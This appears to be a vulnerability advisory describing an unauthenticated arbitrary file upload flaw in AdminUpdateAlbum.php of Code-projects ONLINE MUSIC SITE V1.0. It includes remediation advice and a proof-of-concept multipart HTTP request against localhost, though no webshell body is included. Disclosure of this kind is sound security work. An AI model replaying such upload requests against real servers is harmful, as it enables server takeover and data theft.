# Arbitrary File Upload Vulnerability in AdminUpdateAlbum.php of Code-projects ONLINE MUSIC SITE V1.0 ## Vulnerability Overview * **Affected Product**: Code-projects ONLINE MUSIC SITE V1.0 * **Vulnerability Type**: Arbitrary file upload vulnerability * **Vulnerable File**: `AdminUpdateAlbum.php` * **Root Cause**: Attackers can bypass file type detection by modifying the `Content-Type` and `Content-Disposition` headers in the HTTP request, thereby uploading malicious script files (such as Webshells). * **Exploitation Conditions**: The vulnerability can be exploited without authentication or authorization. ## Impact Scope * **Version**: V1.0 * **Impact**: Attackers can upload and execute malicious scripts, directly controlling the server, stealing data, or launching subsequent attacks, posing a severe threat to system security. ## Remediation * Immediately take corrective measures to ensure system security and the integrity and confidentiality of data. * It is recommended to implement strict file type validation for upload functions (not relying solely on `Content-Type`, but also checking file headers/magic numbers) and file extension filtering. ## POC Code ```http POST /mis/Administrator/PHP/AdminUpdateAlbum.php HTTP/1.1 Host: localhost Content-Length: 813 Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEwFM5M66j1Xa2b Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://localhost/mis/Administrator/PHP/AdminEditAlbum.php?id=95 Accept-Encoding: gzip, deflate, br Cookie: languagecookie=en; PHPSESSID=7b9v9qRqR2ht6bkxjydxc04 Connection: keep-alive ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtcat" 29 ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtalbum" Slapstack ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="id" 95 ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtsinger" Slapstack ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtwriter" Slapstack ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtdesc" 222 ------WebKitFormBoundaryEwFM5M66j1Xa2b Content-Disposition: form-data; name="txtimage"; filename="1111.png" Content-Type: image/png ------WebKitFormBoundaryEwFM5M66j1Xa2b-- ```